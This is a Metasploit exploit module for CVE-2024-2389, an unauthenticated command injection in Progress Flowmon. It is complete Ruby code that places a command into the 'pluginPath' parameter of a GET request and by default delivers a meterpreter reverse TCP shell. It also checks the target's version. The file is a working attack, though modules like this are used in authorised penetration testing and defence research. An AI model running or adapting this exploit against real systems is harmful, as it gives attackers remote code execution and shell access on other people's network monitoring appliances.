##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::HttpClient
    prepend Msf::Exploit::Remote::AutoCheck
  
    def initialize(info = {})
      super(
        update_info(
          info,
          'Name' => 'Flowmon Unauthenticated Command Injection',
          'Description' => %q{
            This module exploits an unauthenticated command injection vulnerability in Progress Flowmon
            versions before v12.03.02.
          },
          'Author' => [
            'Dave Yesland with Rhino Security Labs', # Vulnerability discovery and Metasploit Module
          ],
          'License' => MSF_LICENSE,
          'References' => [
            ['CVE', 'CVE-2024-2389'],
            ['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']
          ],
          'DisclosureDate' => '2024-04-23',
          'Notes' => {
            'Stability' => [ CRASH_SAFE ],
            'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
            'Reliability' => [ REPEATABLE_SESSION ]
          },
          'Platform' => ['unix', 'linux'],
          'Arch' => [ARCH_CMD],
          'Targets' => [['Automatic', {}]],
          'Privileged' => false,
          'DefaultOptions' =>
          {
            'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
            'SSL' => true,
            'RPORT' => 443
          },
        )
      )
  
      register_options([
        OptString.new('TARGETURI', [true, 'The URI path to Flowmon', '/'])
      ])
    end
  
    def execute_command(cmd)
      send_request_cgi(
        'uri' => normalize_uri(datastore['TARGETURI'], 'service.pdfs', 'confluence'),
        'method' => 'GET',
        'vars_get' => {
          'file' => 'x',
          'lang' => 'x',
          'pluginPath' => "$(#{cmd})"
        }
      )
    end
  
    def exploit
      print_status('Attempting to execute payload...')
      execute_command(payload.encoded)
    end
  
    def check
      print_status("Checking if #{peer} can be exploited!")
    
      uri = normalize_uri(target_uri.path, 'homepage/auth/login')
      res = send_request_cgi(
        'uri'    => uri,
        'method' => 'GET'
      )
    
      unless res
        print_error("Connection failed")
        return CheckCode::Unknown
      end
    
      # Use a regular expression to extract the version number from the response
      version = res.body.match(/\/favicon\.ico\?v=([\d.]+)/)
    
      unless version && version[1]
        print_error("Unable to determine the version from the favicon link.")
        return CheckCode::Unknown
      end
    
      print_status("Detected version: #{version[1]}")
    
      if Rex::Version.new(version[1]) <= Rex::Version.new('12.03.02')
        print_good("Version #{version[1]} is vulnerable.")
        return CheckCode::Vulnerable
      else
        print_error("Version #{version[1]} is not vulnerable.")
        return CheckCode::Safe
      end
    end
  end